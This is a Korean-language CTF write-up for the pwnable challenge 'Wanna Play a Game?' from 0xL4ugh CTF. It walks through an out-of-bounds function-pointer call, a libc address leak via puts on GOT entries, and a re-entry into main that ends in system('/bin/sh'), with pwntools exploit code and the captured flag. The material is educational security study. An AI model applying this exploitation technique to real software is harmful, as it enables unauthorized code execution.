[KOR] 0xL4ugh CTF - Wanna Play a Game?

mntly·2024년 12월 28일
0

CTF

목록 보기
6/9

500점이라 적혀있지만, Dynamic Score여서 130점만 획득함 ㅠㅠ

이 글은 2024.12.27 21:00 ~ 2024.12.28 21:00 동안 진행한 0xL4ugh CTF의 pwnable 문제, Wanna Play a Game?에 대한 writeUp 이다.

Key

  1. Out Of Boud

Analyze binary

주어진 source code는 없기에 디컴파일 결과를 보고 분석하였다.

바이너리의 각 함수의 동작 과정 설명

1. Program process

프로그램은 사용자로부터 이름을 입력 받은 뒤 사용자로부터 랜덤 방식과 랜덤 값을 입력 받아 프로세서의 랜덤 값과 사용자의 값이 동일한지 확인한다.

  1. rand()로 얻은 랜덤 값 비교 : 랜덤 값을 맞추는 데 성공하면 점수를 출력한다. 그게 끝이다.
  2. /dev/random으로 얻은 랜덤 값 비교 : 랜덤 값을 맞추는 데 성공하면 shell을 실행한다.

[그림 1] binary 실행 모습

2. Goal

func = read_int();
printf("[*] Guess>");
param = read_int();
((void (__fastcall *)(__int64))conv[func - 1])(param);

[코드 1] main 함수의 취약한 부분

read_int 함수
__int64 read_int()
{
  __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  memset(buf, 0, 32);
  printf("> ");
  if ( read(0, buf, 0x20uLL) == -1 )
  {
    perror("READ ERROR");
    exit(-1);
  }
  return atol((const char *)buf);
}

((void (__fastcall *)(__int64))conv[func - 1])(param);

[코드 1]과 같이 main에서 선택한 메뉴에 해당하는 함수를 실행할 때, conditional jump로 함수를 실행하지 않고 함수 배열 (conv)에서 참조하는 방식을 사용한다.

하지만, 이때 index로 사용되는 func 변수의 값은 read_int 함수로 받은 다음 어떠한 범위 검증도 하지 않는다.

이 덕분에 conv 배열이 아닌 다른 곳에 저장된 함수의 주소를 참조하여, 실행할 수 있다.

💡Goal : conv로 shell을 실행하는 함수에 접근해서 실행하기!!


+) /dev/random은 시스템 잡음에 기반하여 만들어진 랜덤 값이 기록되어 있으며, brute-forcing이 아닌 방법으로 이를 알아내는 것은 불가능하다.


Exploit

0. INFO

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64bit 운영체제이기 때문에 주소의 크기는 8byte이다.

1. Analyze Binary

1) Input

가장 먼저, 입력 값이 어디에 저장되는 지 확인한다.

  1. Global Variable - username
    • main 함수가 호출된 직후, 입력 받는 사용자 이름은 전역 변수 username에 저장된다.
      [그림 2] username의 위치

  2. Local Variable - index
    • 길이와 관련된 모든 입력 값은 local variable, 즉 stack 영역에 저장된다.
      • read_int 함수에서 사용자의 입력을 저장하는 buf
      • main에서 index를 저장하는 func와 호출할 함수의 인자로 전달될 param

2) Find offset from conv ⇒ OOB

conv 배열을 base로 OOB가 발생하므로, exploit 설계를 위해 해당 변수가 존재하는 영역을 확인한다.

[그림 3] conv 배열의 위치

[그림 3]를 보면 conv 변수는 초기화된 전역 변수가 저장되어 있는 Data Section에 존재하는 것을 확인할 수 있다. PIE가 걸려 있지 않기에, Data SectionBSS Section의 주소는 IDA로 확인한 값과 동일하다.

그럼? OOB로 임의의 함수를 실행할 준비가 다 되었다!

  • conv[func-1]가 가리키는 함수를 호출할 때, func의 범위 검증을 안 함 ⇒ OOB 발생

  • OOB Base를 알고 있음 : conv의 주소 : 0x404010

  • BSS Section에 있는 username에 원하는 값을 집어 넣을 수 있음

  • username과 OOB Base의 offset을 알고 있음 : 0x404080 - 0x404010 = 0x70

    conv[func-1]username의 값을 참조할 수 있음!!

    • [그림 3]을 보면 알 수 있듯, conv의 각 element는 8 byte이다. : dq offset : QWORD

    • 아래 표는 conv에서 어떻게 OOB가 발생하는 지 나타낸 것이다.
      Offset 계산을 통해 usernameconv[0x0E]부터 시작되는 것을 알 수 있다.

      AddressBy usernameBy conv
      0x404088 = 0x404010 + 0x08 * 0x0Fusername[0x08:0x10]conv[0x0F]
      0x404080 = 0x404010 + 0x08 * 0x0Eusername[0x00:0x08]conv[0x0E]
      0x404010 + 0x08 * iconv[i]
      0x404018conv[1]
      0x404010conv[0]

3) Execute arbitrary one parameter function

main 함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // [rsp+0h] [rbp-10h]
  __int64 v4; // [rsp+8h] [rbp-8h]

  setup();
  printf("[*] NickName> ");
  if ( read(0, &username, 0x40uLL) == -1 )
  {
    perror("READ ERROR");
    exit(-1);
  }
  while ( 1 )
  {
    menu();
    func = read_int();
    printf("[*] Guess>");
    param = read_int();
    ((void (__fastcall *)(__int64))conv[func - 1])(param);
  }
}

menu 함수
int menu()
{
  puts("= = = = = CAN YOU BEAT ME! = = = = =");
  puts("[1] Easy");
  return puts("[2] Hard");
}

  • 실행할 함수 지정

    만약 username에 실행하고자 하는 함수의 주소(addr)를 저장하고, func0x0F를 저장한다면, main 함수는 conv[func - 1]를 실행할 때 easyhard 함수를 호출하는 것이 아니라, conv[func - 1] = conv[0x0E] = addr이 가리키는 함수를 호출하게 된다.

  • 실행할 함수의 첫 번째 인자 지정

    • main 함수를 보면 conv[func - 1]을 호출할 때 param을 인자로 전달하는 것을 볼 수 있다.
      즉, 실행하고자 할 함수의 인자는 간단하게 param 변수에 저장하면 된다.

    • 만약 param으로 포인터를 전달하고, 해당 포인터가 기리키는 값을 제어하고 싶다면, username에 저장된 함수의 주소 다음 위치에 값을 저장하고, param 변수에는 username + 8을 저장하면 된다. (첫 8 byte는 임의의 함수의 주소(addr)가 저장되어 있기 때문이다.)
  • example : system("/bin/sh")

    1. username에는 system 함수의 주소와 "/bin/sh\0" 문자열을 저장한다.
      아래 표는 아래 코드 실행 결과 username에 저장된 값을 나타낸 것이다.

      p.sendlineafter("[*] NickName> ", &system + "/bin/sh\0")
      Addressvalue
      0x404088username[0x08:0x10]conv[0x0F]"/bin/sh\0"
      0x404080username[0x00:0x08]conv[0x0E]&system
    2. func에는 0x0F를 저장한다. ⇒ conv[func - 1] = conv[0x0E] = system

      p.sendlineafter("[2] Hard\n> ", str(0x0F))
    3. param에는 username에 입력한 "/bin/sh\0"의 주소인 0x404088을 저장한다.

      p.sendlineafter("[*] Guess>> ", str(0x404088))
    4. 이후 ((void (__fastcall *)(__int64))conv[func - 1])(param);
      system("/bin/sh")와 동일한 코드로 실행된다.

2. Exploit Process

binary를 분석하면서 임의의 함수를 호출할 때 첫 번째 인자 이외의 인자를 설정하는 방법은 찾지 못했다. 나는 1. Analyze Binary의 3) Execute arbitrary one parameter function에서 소개한 대로 system("/bin/sh")를 이용해 shell을 실행할 것이다. 제공된 binary에는 system 함수를 사용하고 있지 않아 libc에서 가져와야 한다. 근데 Dockerfile도 없는데 libc를 어디서 얻지?

1) Libc patch

Libc 파일은 process의 page에 맞춰서 저장되어 사용된다. 다시 말해, Libc 파일은 항상 page 단위인 0x1000의 배수인 위치에 존재한다는 것이다.

이로 인해 실행할 때마다 Libc 파일 내부의 각 함수가 load된 위치는 바뀔지라도 하위 1.5 byte는 항상 일정하다. 이는 Libc 파일 내부의 offset과 동일하기 때문이다.

이러한 특성을 이용해 Libc 파일 내부에 있는 함수의 주소의 하위 1.5 byte만 알면 remote 환경에서 binary가 사용하는 Libc 파일을 알아낼 수 있다.

주어진 binary는 puts, open, exit, read 함수를 사용하므로 해당 함수의 Libc 내부에서의 주소를 얻어 Libc 파일을 특정하였다.
함수 3개 정도만 해도 충분하지만, 나는 그냥 함수 4개의 주소를 획득했다.

conv_start = 0x404010
addr_name = 0x404080
idx = (addr_name - conv_start)//8 + 1

puts_plt = 0x401030
name = p64(puts_plt)

def INPUT(name, menu, value):
    p.sendlineafter(b"[*] NickName> ",  name)
    p.sendlineafter(b"[2] Hard\n> ", str(menu))
    p.sendlineafter(b"[*] Guess>> ", str(value))
  • puts : 0x??be0
    puts_got = 0x403F60
    
    INPUT(name, idx, puts_got) # puts(puts@GOT)
    puts_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
    log.info(f"puts in libc : {hex(puts_libc)}")
  • open : 0x??290
    open_got = 0x403FC0
    
    INPUT(name, idx, open_got) # puts(open@GOT)
    open_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
    log.info(f"open in libc : {hex(open_libc)}")
  • exit : 0x??940
    exit_got = 0x403FD0
    
    INPUT(name, idx, exit_got) # puts(exit@GOT)
    exit_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
    log.info(f"exit in libc : {hex(exit_libc)}")
  • read : 0x??c10
    read_got = 0x403F88
    
    INPUT(name, idx, read_got) # puts(read@GOT)
    read_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
    log.info(f"read in libc : {hex(read_libc)}")

이렇게 획득한 주소들을 libc-database에 symbol과 함께 넣으면 알맞은 Libc 파일을 얻을 수 있다.

[그림 4] libc-database 검색 결과 : 난 제일 밑에 있는 libc-2.40-1-x86-64를 다운 받아 사용했다.

2) libc base leak

3) system("/bin/sh")

  1. Analyze Binary의 3) Execute arbitrary one parameter function에서 기술했듯, system("/bin/sh")를 실행하기 위해서는 usernamesystem 함수의 주소를 넣어야 한다. 하지만 usernamemain 함수가 호출된 직후에만 변경할 수 있기에, libc base를 획득한 상태에서는 username을 수정할 수 없다. 이를 해결하기 위해서는 system("/bin/sh")를 실행하기 전에 다시 main 함수를 호출해야 한다.

  2. main(???)

    • main 함수를 호출하기 위해서는 conv[func - 1] = &main 형태로 만들어야 한다.
    • libc base leak 과정을 수행할 때, usernamemain 함수의 주소도 집어넣으면 쉽게 main 함수를 호출할 수 있다.
  3. system("/bin/sh")

    • maine 함수가 다시 호출된 후, username을 1. Analyze Binary의 3) Execute arbitrary one parameter function처럼 변경하면 system("/bin/sh")가 실행되며 shell을 얻을 수 있다.

3. Input Values - Write a Payload

프로그램의 동작 순서에 맞춰 입력해야 하는 값을 다음과 같이 정리할 수 있다.

(단, 현재 상태에서 알맞은 Libc 파일("./libc-2.40-1-x86_64.so")은 이미 획득했다고 가정한다.)

  1. 기본 세팅

    binary = "./chall"
    libc_path = "./libc-2.40-1-x86_64.so"
    libc = ELF(libc_path, checksec = False)
    
    puts_plt = 0x401030
    main = 0x401575
    
    conv_start = 0x404010
    addr_name = 0x404080
    idx = (addr_name - conv_start)//8 + 1
    
    def INPUT(name, menu, value):
        p.sendlineafter(b"[*] NickName> ",  name)
        p.sendlineafter(b"[2] Hard\n> ", str(menu))
        p.sendlineafter(b"[*] Guess>> ", str(value))
  2. libc base leak

    • 나는 read 함수의 주소를 이용해 libc base를 계산했다.
    • libc base leak 이후 다시 main 함수를 호출하기 위해 usernamemain 함수의 주소를 저장한다.
      Addressvalue
      0x404088username[0x08:0x10]conv[0x0F]&main = 0x401575
      0x404080username[0x00:0x08]conv[0x0E]&puts = 0x401030
    # Get Address of read in libc
    read_got = 0x403F88
    name = p64(puts_plt) + p64(main)
    
    INPUT(name, idx, read_got) # puts(read@GOT)
    read_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
    log.info(f"read in libc : {hex(read_libc)}")
    # Calculate address of system
    # 1. Calculate libc base
    base = read_libc - libc.symbols['read']
    log.info(f"libc base : {hex(base)}")
    
    # 2. Calculate address of function system
    system = base + libc.symbols['system']
    log.info(f"system : {hex(system)}")
  3. call main

    # call main
    menu = idx+1    # index of main stored in conv array
    
    p.sendlineafter(b"[2] Hard\n> ", str(menu))
    p.sendlineafter(b"[*] Guess>> ", str(binsh))
  4. system("/bin/sh")

    # system("/bin/sh")
    name = p64(system) + b"/bin/sh\0"
    value = addr_name + 8   # address of "/bin/sh" stored in username
    
    INPUT(name, idx, value)

Get Flag with Python (pwn)

  1. Input Values - Write a Payload에서 말한 값들을 입력해 shell을 획득하는 파이썬 코드를 작성한다.

Exploit Python Code (GitHub)

Execution Image

solution.py를 실행하면 libc base leak 이후 다시 main을 호출해 shell을 획득한다.
가독성을 위해 shell을 획득한 이후의 사진만 첨부하였다.

flag{8jvdbsDirfUK8m2ELPKSuvt5fHecHh5D}

0개의 댓글

관련 채용 정보